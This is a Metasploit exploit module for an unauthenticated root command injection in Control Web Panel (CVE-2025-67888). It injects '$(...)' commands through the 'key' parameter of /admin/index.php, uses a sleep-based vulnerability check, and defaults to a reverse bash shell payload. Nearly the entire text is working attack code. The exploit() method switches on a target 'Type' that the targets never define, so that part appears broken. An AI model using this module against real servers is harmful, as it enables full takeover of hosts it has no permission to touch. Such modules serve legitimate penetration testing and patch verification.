## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'Control Web Panel /admin/index.php Unauthenticated RCE', 'Description' => %q{ Control Web Panel (CWP) versions <= 0.9.8.1208 are vulnerable to unauthenticated OS command injection. User input passed via the "key" GET parameter to /admin/index.php (when the "api" parameter is set) is not properly sanitized before being used to execute OS commands. This can be exploited by unauthenticated attackers to inject and execute arbitrary OS commands with the privileges of the root user on the web server. Successful exploitation usually requires "Softaculous" and/or "SitePad" to be installed through the Scripts Manager. }, 'Author' => [ 'Lukas Johannes Möller', # Metasploit module 'Egidio Romano' # Vulnerability discovery ], 'References' => [ ['CVE', '2025-67888'], ['URL', 'https://karmainsecurity.com/KIS-2025-09'], ['URL', 'https://www.cve.org/CVERecord?id=CVE-2025-67888'], ['URL', 'https://control-webpanel.com'] ], 'DisclosureDate' => '2025-12-16', 'License' => MSF_LICENSE, 'Platform' => ['linux', 'unix'], 'Arch' => ARCH_ALL, 'Privileged' => true, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_ALL, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }, 'Payload' => { 'Encoder' => 'cmd/base64', 'BadChars' => "\x00\x20" } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => ARCH_ALL } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'SSL' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options([ Opt::RPORT(2031) ]) end def check sleep_time = rand(5..10) print_status("Checking vulnerability with sleep command (waiting #{sleep_time} seconds)...") res, elapsed_time = Rex::Stopwatch.elapsed_time do send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri('/admin/index.php'), 'vars_get' => { 'api' => '1', 'key' => "$(sleep #{sleep_time})" } ) end vprint_status("Elapsed time: #{elapsed_time.round(2)} seconds") return CheckCode::Unknown('No response from server.') unless res return CheckCode::Vulnerable("Server waited #{elapsed_time.round(2)} seconds (expected >= #{sleep_time}).") if elapsed_time >= sleep_time CheckCode::Safe("Server responded in #{elapsed_time.round(2)} seconds (expected >= #{sleep_time}).") end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager end end def execute_command(cmd, _opts = {}) vprint_status("Executing command: #{cmd}") send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri('/admin/index.php'), 'vars_get' => { 'api' => '1', 'key' => "$(#{cmd})" } ) end end